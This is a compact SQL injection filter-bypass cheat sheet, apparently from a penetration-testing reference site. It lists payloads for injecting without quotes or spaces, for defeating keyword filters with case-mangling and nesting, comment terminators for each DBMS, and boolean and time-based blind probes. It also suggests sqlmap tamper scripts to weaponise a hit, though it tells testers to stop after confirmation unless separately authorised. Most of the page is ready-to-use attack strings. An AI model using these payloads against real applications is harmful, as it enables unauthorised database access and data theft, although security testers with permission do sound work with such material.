Parser and control bypass reference
SQLi filter / quote bypass
Get injection working when quotes, spaces or keywords are filtered. Confirm and weaponise with sqlmap's tamper scripts once a candidate responds.
Compare behaviorA bypass claim needs a control request and a clear boundary that changed.
Stop after confirmation. Do not escalate impact without separate authorization.
No-quote injection
Numeric contexts and hex/CHAR literals need no string delimiter.
1 OR 1=11 OR 0x61=0x611 OR CHAR(97)=CHAR(97)
No-space injection
Comments, parentheses and alternate whitespace reconstruct the statement.
1/**/OR/**/1=11%0aOR%0a1=11)OR(1=1
Keyword-filter bypass
Case-mangling and nested keywords defeat naive `replace('select','')` filters.
UNiOn SeLeCtUNIONUNION SELECTSELECT/*!UNION*//*!SELECT*/
Comment terminators by DBMS
`-- ` needs the trailing space - always send `-- -`.
-- -#/*comment*/;%00
Blind confirm (boolean / time)
Infer from response difference or induced delay when output is suppressed.
' AND 1=1-- -' AND 1=2-- -' AND SLEEP(5)-- -'||pg_sleep(5)-- -';WAITFOR DELAY '0:0:5'-- -
Version history: normalized permanent page created 2026-08-20.